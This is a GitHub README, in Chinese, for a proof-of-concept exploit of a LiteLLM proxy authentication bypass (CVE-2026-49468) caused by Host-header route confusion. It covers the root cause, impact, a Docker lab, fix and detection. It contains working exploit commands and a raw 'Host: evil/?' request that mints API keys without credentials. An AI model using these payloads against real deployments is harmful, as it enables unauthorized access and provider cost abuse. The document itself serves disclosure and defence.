BiiTts/CVE-2026-49468-LiteLLM-Auth-Bypass

GitHub: BiiTts/CVE-2026-49468-LiteLLM-Auth-Bypass

该项目提供了 CVE-2026-49468 LiteLLM 代理未授权认证绕过漏洞的完整 PoC 与 Docker 漏洞验证实验环境。

Stars: 0 | Forks: 0

# CVE-2026-49468 — LiteLLM 通过 Host 头路由混淆实现的未授权认证绕过 **LiteLLM** 代理中的预认证授权绕过。 只需构造单个 `Host` 头,即可使代理针对公共的健康检查路由进行认证决策评估,而 FastAPI 仍会执行受保护的管理处理器 —— 从而在**无需 API key** 的情况下响应请求。 | | | |---|---| | **CVE** | CVE-2026-49468 | | **产品** | LiteLLM (BerriAI) proxy | | **受影响版本** | `< 1.84.0` (已在 `v1.83.14-stable` 上验证) | | **修复版本** | `1.84.0` | | **分类** | 不当认证 (CWE-290) — 路由混淆 | | **认证** | 无 (预认证) | | **CVSS 3.1** | **9.8** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (NVD) | | **CVSS 4.0** | 9.5 — `AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` (GitHub) | | **状态** | **已确认** — 端到端复现绕过;已在 1.84.0 上验证修复 | ## 根本原因 `litellm/proxy/auth/auth_utils.py::get_request_route()` 根据 `request.url.path` 推导出用于**每一个**认证决策的路由。Starlette 会从**客户端控制的 `Host` 头**重建该 URL 字符串: ``` # starlette/datastructures.py (来自 scope 的 URL.__init__) url = f"{scheme}://{host_header}{path}" # host_header = attacker Host ... @property def path(self): return urlsplit(self._url).path ``` FastAPI 路由基于*原始的* ASGI 路径 `request.scope["path"]` 进行分发。在 `Host` 头中注入 `?` 会将真实的请求路径推入 URL 的 **query** 组件中,因此重建的 `url.path` 会坍缩为 `/`: ``` real request path (scope, FastAPI routes here) : /key/generate Host header : evil/? reconstructed URL : http://evil/?/key/generate urlsplit(...).path : / <-- auth sees this ``` `/` 属于 `LiteLLMRoutes.public_routes`,并且两个认证网关都会在使用该伪造值命中公共路由时短路放行: ``` # user_api_key_auth.py — 认证构建器 if route in public_routes: # route == "/" return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required # user_api_key_auth.py — 授权包装器 if route in public_routes: # route == "/" return # skips common_checks / admin-route enforcement ``` **修复 (1.84.0):** `get_request_route()` 现在直接读取 `request.scope["path"]` / `scope["root_path"]`,不再从 Host 头重建路径。 ## 影响 可在**未认证**情况下访问(以 `INTERNAL_USER_VIEW_ONLY` 身份提供服务): - **`POST /key/generate`** → 生成有效的虚拟 API key。该 key 可作为正常认证使用,且无需绕过头 → 导致**持久的认证立足点**和提供商**成本滥用**。 - **`POST /user/new`** → 创建用户。 - **`POST /chat/completions`** (+ `/v1/models`, `/model/info`) → 针对代理配置的 LLM 提供商进行**未授权推理**。 - **`GET /spend/logs`, `/settings`, `/get/config/callbacks`** → 配置 / 遥测数据泄露。 受**内联 `PROXY_ADMIN` 检查**保护的端点仍然会被拦截(`/config/update`, `/model/new`, `/user/list`, `/key/list`、角色提升、MCP 直接创建),因此该绕过**不会**在 `v1.83.14` 上产生完整的代理管理员权限或 RCE —— 请参阅 [ANALYSIS.md](ANALYSIS.md)。 ## 复现 ``` # 1. 启动一个包含漏洞 + 已修复漏洞的 lab(通过 master key 启用认证) cd lab && docker compose up -d && cd .. # 2. 确认 bypass python3 exploit.py -u http://127.0.0.1:4000 check # [*] GET /user/list 无 bypass Host -> 401 # [*] GET /user/list Host: evil/? -> 403 # [+] 存在漏洞:认证被 bypass(基线 401,bypass 到达了 handler:403)。 # 3. 在无 credentials 的情况下生成一个 API key python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo # [+] 已生成虚拟 API key(未认证):sk-.... # 4. 未认证的推理 / 枚举 python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi" python3 exploit.py -u http://127.0.0.1:4000 dump # 已修复的 build(位于 :4001 的 v1.84.0)以 401 拒绝了相同的请求 python3 exploit.py -u http://127.0.0.1:4001 check ``` `exploit.py` 仅使用标准库 (`http.client`),并在网络请求层面原封不动地设置 `Host` 头。可用操作包括:`check`, `mint-key`, `user`, `chat`, `dump`, `raw METHOD PATH`。 ### 原始请求 ``` POST /key/generate HTTP/1.1 Host: evil/? Content-Type: application/json Content-Length: 2 {} ``` ``` HTTP/1.1 200 OK {"key":"sk-...", ...} ``` 有关完整的基准/绕过矩阵、对抗性判别条件(`evil` → 401,`evil/foo` → 401,`evil/?` → 200)以及已修复的边界,请参阅 [EVIDENCE.txt](EVIDENCE.txt)。 ## 修复方案 - **升级至 LiteLLM `1.84.0` 或更高版本。** - 如果无法升级的临时缓解措施:将代理置于强制执行严格 `Host` 验证的反向代理之后(拒绝包含 `/`, `?`, `#` 的 Host 值),并设置一个 `master_key`。 ## 检测 该绕过利用的特征是语法无效的 `Host` 头。示例 Suricata 规则: ``` alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass"; flow:to_server,established; http.host; pcre:"/[\/?#]/"; classtype:web-application-attack; sid:2026049468; rev:1;) ``` 日志侧:任何到达 LiteLLM 代理且其 `Host` 头包含 `/`, `?` 或 `#` 的请求。 ## 致谢 Caio Fabrício ([BiiTts](https://github.com/BiiTts))。 仅用于授权的安全研究与测试。
标签:AV绕过, CISA项目, FastAPI, LiteLLM, Metaprompt, PoC, 暴力破解, 请求拦截, 路由混淆, 身份验证绕过, 逆向工具